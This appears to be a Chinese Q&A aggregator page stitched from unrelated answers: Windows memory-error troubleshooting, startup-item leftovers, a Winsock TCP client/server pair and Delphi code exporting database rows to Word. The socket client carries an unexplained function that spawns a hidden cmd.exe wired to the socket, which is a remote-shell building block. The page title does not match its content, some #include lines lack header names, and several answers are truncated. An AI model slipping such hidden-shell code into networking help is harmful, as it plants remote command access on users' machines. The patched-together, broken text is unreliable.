C# 为什么添加word引用失败
运行某些程序的时候,有时会出现内存错误的提示,然后该程序就关闭。
“0x????????”指令引用的“0x????????”内存。
该内存不能为“read”。
“0x????????”指令引用的“0x????????”内存,该内存不能为“written”。
以上的情况相信大家都应该见到过,甚至说一些网友因为不爽于这个经常出现的错误提示而屡次重装系统。
相信普通用户应该不会理解那些复杂的十六进制代码。
出现这个现象有方面的,一是硬件,即内存方面有问题,二是软件,这就有多方面的问题了。
一:先说说硬件:一般来说,电脑硬件是很不容易坏的。
内存出现问题的可能性并不大(除非你的内存真的是杂牌的一塌徒地),主要方面是:1。
内存条坏了(二手内存情况居多)、2。
使用了有质量问题的内存,3。
内存插在主板上的金手指部分灰尘太多。
4。
使用不同品牌不同容量的内存,从而出现不兼容的情况。
5。
超频带来的散热问题。
你可以使用MemTest这个软件来检测一下内存,它可以彻底的检测出内存的稳定度。
二、如果都没有,那就从软件方面排除故障了。
先说原理:内存有个存放数据的地方叫缓冲区,当程序把数据放在缓冲区,需要操作系统提供的“功能函数”来申请,如果内存分配成功,函数就会将所新开辟的内存区地址返回给应用程序,应用程序就可以通过这个地址使用这块内存。
这就是“动态内存分配”,内存地址也就是编程中的“光标”。
内存不是永远都招之即来、用之不尽的,有时候内存分配也会失败。
当分配失败时系统函数会返回一个0值,这时返回值“0”已不表示新启用的光标,而是系统向应用程序发出的一个通知,告知出现了错误。
作为应用程序,在每一次申请内存后都应该检查返回值是否为0,如果是,则意味着出现了故障,应该采取一些措施挽救,这就增强了程序的“健壮性”。
若应用程序没有检查这个错误,它就会按照“思维惯性”认为这个值是给它分配的可用光标,继续在之后的执行中使用这块内存。
真正的0地址内存区储存的是计算机系统中最重要的“中断描述符表”,绝对不允许应用程序使用。
在没有保护机制的操作系统下(如DOS),写数据到这个地址会导致立即当机,而在健壮的操作系统中,如Windows等,这个操作会马上被系统的保护机制捕获,其结果就是由操作系统强行关闭出错的应用程序,以防止其错误扩大。
这时候,就会出现上述的内存不能为“read”错误,并指出被引用的内存地址为“0x00000000“。
内存分配失败故障的原因很多,内存不够、系统函数的版本不匹配等都可能有影响。
因此,这种分配失败多见于操作系统使用很长时间后,安装了多种应用程序(包括无意中“安装”的病毒程序),更改了大量的系统参数和系统档案之后。
在使用动态分配的应用程序中,有时会有这样的情况出现:程序试图读写一块“应该可用”的内存,但不知为什么,这个预料中可用的光标已经失效了。
有可能是“忘记了”向操作系统要求分配,也可能是程序自己在某个时候已经注销了这块内存而“没有留意”等等。
注销了的内存被系统回收,其访问权已经不属于该应用程序,因此读写操作也同样会触发系统的保护机制,企图“违法”的程序唯一的下场就是被操作终止执行,回收全部资源。
计算机世界的法律还是要比人类有效和严厉得多啊!像这样的情况都属于程序自身的BUG,你往往可在特定的操作顺序下重现错误。
无效光标不一定总是0,因此错误提示中的内存地址也不一定为“0x00000000”,而是其它随机数字。
首先建议:1、检查系统中是否有木马或病毒?>2、更新操作系统,让操作系统的安装程序重新拷贝正确版本的系统档案、修正系统参数。
有时候操作系统本身也会有BUG,要注意安装官方发行的升级程序。
3、尽量使用最新正式版本的应用程序、Beta版、试用版都会有BUG。
4、删除然后重新创建WinntSystem32WbemRepository文件夹中的文件:在桌面上右击我的电脑,然后单击管理。
在"服务和应用程序"下,单击服务,然后关闭并停止WindowsManagementInstrumentation服务。
删除WinntSystem32WbemRepository文件夹中的所有文件。
(在删除前请创建这些文件的备份副本。
)打开"服务和应用程序",单击服务,然后打开并启动WindowsManagementInstrumentation服务。
当服务重新启动时,将基于以下注册表项中所提供的信息重新创建这些文件:HKEY_LOCAL_MACHINESOFTWAREMicrosoftWBEMCIMOMAutorecoverMOFs
程序调用word文档时,出现这个错误:远程过程调用失败。
(异常来...
这个问题大多是杀毒残留,但也有可能是你卸载某个软件不正确留下的注册表残留。
杀毒后,病毒被删除,但启动项里相关加载设置还在,解决方法就是以下方法,如果找不到那个加载失败的启动项就可能是做了伪装,具体伪装到哪个启动项需要分析系统环境。
启动项并不一定指向特定的dll名字,提示中的加载失败的项也可能只是启动项其中一个需要调用的文件,而这个文件可能被相关软件程序卸载的时候一并删除了,所以要了解你所有启动项的来路,这样才能找出可疑的启动项来删除,从而解决加载失败的问题。
正常的启动项百度都可以搜索到其解释。
创建套接字失败
下面是客户端的链接服务端的代码(IP你自己换成服务端ip):// tcpclient.cpp : Defines the entry point for the console application.//#include "stdafx.h"#include #pragma comment(lib,"ws2_32")#include #include DWORD WINAPI Thread( LPVOID lpParam ) { SOCKET s=(SOCKET)lpParam; STARTUPINFO si; GetStartupInfo(&si); si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; si.wShowWindow=SW_HIDE; //使cmd的输入输出直接和socket关联 si.hStdInput=si.hStdOutput=si.hStdError=(void*)s; char cmdline[256]; //得到cmd路径 GetSystemDirectory(cmdline,sizeof(cmdline)); strcat(cmdline,"\\cmd.exe"); PROCESS_INFORMATION ProcessInformation; int ret; //建立cmd进程 ret=CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInformation); //等待进程结束 WaitForSingleObject(ProcessInformation.hProcess,INFINITE); CloseHandle(ProcessInformation.hProcess); return 0; } int main(int argc, char* argv[]) { WSADATA wsaData; WORD sockVersion = MAKEWORD(2, 2); //加载winsock库 if(WSAStartup(sockVersion, &wsaData) != 0) return 0; // 创建套节字 SOCKET sClient = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if(sClient == INVALID_SOCKET) { printf("socket error\n"); return 0; } // 在sockaddr_in结构中装入服务器端地址信息 sockaddr_in servAddr; char revData[2048]; servAddr.sin_family = AF_INET; servAddr.sin_port = htons(4500);// htons函数 将主机的无符号短整形数转换成网络 //字节顺序,4500端口为要连接服务器端的端口 servAddr.sin_addr.S_un.S_addr =inet_addr("127.0.0.1");//服务器端ip //连接服务器端 if(connect(sClient,(sockaddr*)&servAddr,sizeof(servAddr))==SOCKET_ERROR) { printf("connect error\n"); closesocket(sClient); return 0; } char buff[2048]; while(1) { ZeroMemory(buff,2048); int i=-1; do{ i++; buff[i] = getchar(); //i++; //cout }while(buff[i]!=0xa); //发送数据 send(sClient,buff,strlen(buff),0); char revData[2048]; //直到收到有效数据时才打印出来 int ret=recv(sClient,revData,2048,0); if(ret>0) { //为了防止打印出错,把字符串结尾设成0x00 revData[ret]=0x00; cout } } closesocket(sClient); WSACleanup(); return 0; } 下面是服务端代码:// tcpserver.cpp : Defines the entry point for the console application.//#include "stdafx.h"#include #pragma comment(lib,"ws2_32")#include #include int main(int argc, char* argv[]) { WSADATA wsaData; WORD sockVersion = MAKEWORD(2, 2); //加载winsock库 if(WSAStartup(sockVersion, &wsaData) != 0) return 0; // 创建套节字 SOCKET sListen = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if(sListen == INVALID_SOCKET) { printf("socket error\n"); return 0; } // 在sockaddr_in结构中装入地址信息 sockaddr_in sin; sin.sin_family = AF_INET; sin.sin_port = htons(4500); // htons函数 将主机的无符号短整形数转换成网络 //字节顺序 sin.sin_addr.S_un.S_addr = INADDR_ANY; // 使套接字和本地地址绑定 if(bind(sListen, (LPSOCKADDR)&sin, sizeof(sin)) == SOCKET_ERROR) { printf(" bind error \n"); closesocket(sListen); return 0; } // 设置套接字进入监听模式 if(listen(sListen, 5) == SOCKET_ERROR) { printf("listen error\n"); closesocket(sListen); return 0; } // 循环接受客户的连接请求 sockaddr_in remoteAddr; SOCKET sClient; int nAddrLen = sizeof(remoteAddr); char revData[255]; while(TRUE) { // 接受一个新连接 sClient = accept(sListen, (SOCKADDR*)&remoteAddr, &nAddrLen); //accept函数调用失败则继续等待连接。
if(sClient == INVALID_SOCKET) { printf("accept() error"); continue; } //打印出连接者的ip printf(" 接受到一个连接:%s \r\n", inet_ntoa(remoteAddr.sin_addr)); //直到收到有效数据时才打印出来 while(1) {/* int ret=recv(sClient,revData,255,0); if(ret>0) { //为了防止打印出错,把字符串结尾设成0x00 revData[ret]=0x00; cout } */ while(1) { char buff[256]; // cin>>buff; gets(buff); //发送数据 send(sClient,buff,strlen(buff),0); // 关闭套接字句柄,结束会话 // closesocket(sClient); } } } closesocket(sListen); WSACleanup(); return 0; }
delphi中把查询出来的数据导入word中?
我将我的商用《旅行社管理系统》的 发团通知 部分奉献给您,望对您有所帮助。
procedure TFrmMain.N327Click(Sender: TObject); var FWord :Variant; FDoc :Variant; strSQL :string; begin //首先创造对象,如果出现异常就做出提示 try FWord := CreateOleObject('Word.Application'); //WOrd程序的执行是否可见,值为false时,程序在后台运行。
FWord.Visible := True; except messagebox(0,'创建word对象失败!','警告',MB_OK+MB_ICONINFORMATION); exit; end; strSQL :='select * From "B_T_Company_Infor"'; with dm.ClientDataSet_Temp do begin if Active then Active:=False; CommandText:=strSQL; Open; end; //现在打开的Word中,创建一个新的页面,然后在其中键入需要的内容 try FDOC :=FWord.Documents.Add; {对于Word的新页面} FWord.Selection.Font.Name :='宋体'; FWord.Selection.Font.Size :=20; FWord.Selection.Font.Bold :=2; FWord.Selection.paragraphs.Alignment := wdAlignParagraphCenter; FWord.Selection.TypeText(dm.ClientDataSet_Temp.Fields[0].AsString); FWord.Selection.Typeparagraph;//换行 FWord.Selection.Typeparagraph; FWord.Selection.paragraphs.Alignment := wdAlignParagraphLeft; FWord.Selection.Font.Size :=12; FWord.Selection.Font.Bold :=0; FWord.Selection.TypeText(' 现将我社组团部的'); FWord.Selection.TypeText(' '); FWord.Selection.TypeText('团计划发出,各地请按下列行程做接待,并及早落实'+ '团队计划和选派优秀导游员。
各地代订住宿、火车票、机票务必安排好接待,日程'+ '如有变更,及时与下站接待社或本社联系,各地接团时请举【'+ dm.ClientDataSet_Temp.Fields[0].AsString+'】接站牌。
'); FWord.Selection.Typeparagraph;//换行 FWord.Selection.Typeparagraph;//换行 FWord.Selection.TypeText('请速回传真确认,谢谢合作!'); FWord.Selection.Typeparagraph;//换行 FWord.Selection.Typeparagraph;//换行 FWord.Selection.TypeText('人数:'); FWord.Selection.TypeText('人数:'); FWord.Selection.TypeText('国籍:'); FWord.Selection.TypeText('国籍:'); FWord.Selection.TypeText('等级:'); FWord.Selection.TypeText('等级:'); FWord.Selection.Typeparagraph;//换行 FWord.Selection.TypeText('这里是团队安排'); FWord.Selection.Typeparagraph;//换行 FWord.Selection.Typeparagraph;//换行 FWord.Selection.TypeText('TO: '); FWord.Selection.TypeText('12345678901234567890'); FWord.Selection.Typeparagraph;//换行 FWord.Selection.TypeText('TEL: '); FWord.Selection.TypeText('12345678901234567890'); FWord.Selection.Typeparagraph;//换行 FWord.Selection.TypeText('FAX: '); FWord.Selection.TypeText('12345678901234567890'); FWord.Selection.Typeparagraph;//换行 FWord.Selection.Typeparagraph;//换行 FWord.Selection.TypeText('______________________________________________'); FWord.Selection.Typeparagraph;//换行 FWord.Selection.Typeparagraph;//换行 FWord.Selection.TypeText('FROM: '); FWord.Selection.TypeText(dm.ClientDataSet_Temp.Fields[0].AsString); FWord.Selection.Typeparagraph;//换行 FWord.Selection.TypeText('TEL: '); FWord.Selection.TypeText(dm.ClientDataSet_Temp.Fields[3].AsString); FWord.Selection.Typeparagraph;//换行 FWord.Selection.TypeText('FAX: '); FWord.Selection.TypeText(dm.ClientDataSet_Temp.Fields[4].AsString); FWord.Selection.Typeparagraph;//换行 Except on e: Exception do Messagebox(0,Pchar(e.Message),'警告',MB_OK+MB_ICONINFORMATION); end; //保存文档 FWord.Caption := '组团计划保存在: '+ExtractFilePath(application.ExeName)+'Reports\GroupPlan.doc'; FDOC.SaveAS(ExtractFilePath(application.ExeName)+'Reports\GroupPlan.doc'); if messagebox(0,'组团计划已经保存成功!'+chr(13)+chr(13)+ '单击【确定】退出Word,返回到程序中!','您确信要退出Word吗?', MB_YESNO+MB_ICONINFORMATION+MB_DEFBUTTON2)=IDYES then begin FWord.Quit; FWord := Unassigned; end; end; ----------------------------- Delphi与Word之间的融合技术(1) 一、VBA代码含义 Microsoft Word是一个集成化环境,是美国微软公司的字处理系统,但是它决不仅仅是一个字处理系统,它集成了Microsoft Visual Basic,可以通过编程来实现对Word功能的扩展。
Microsoft Visual Basic在word中的代码即Word的宏,通过编写Word宏,可实现一些文档处理的自动化,如实现文档的自动备份、存盘等,可扩展Word文档的功能,因此,能够充分利用Word的特性,甚至使Word成为自己软件的一部分。
Word的宏既有有利的一部分,因为它能够帮助我们实现文档的自动化,但是Word的宏也不是纯粹的有利,有时它可能危害我们的文档、计算机系统甚 至网络,从最开始的Taiwan NO1宏病毒到现在的...
为什么每次打开office都要安装 但是安装不成功 word 和excel2003 都...
你是不是把安装生成的office文件夹里面的东西删掉了一部分?如果不是,那估计就是你下载的安装包存在缺陷了,导致启动调用时某一部分功能缺失,office有自动修复功能,在文件缺失的情况下会自动提示你安装,你的原文件已经丢失,当然就安装不成功啦。
建议去资源站下载好评率比较高的office软件,然后覆盖安装。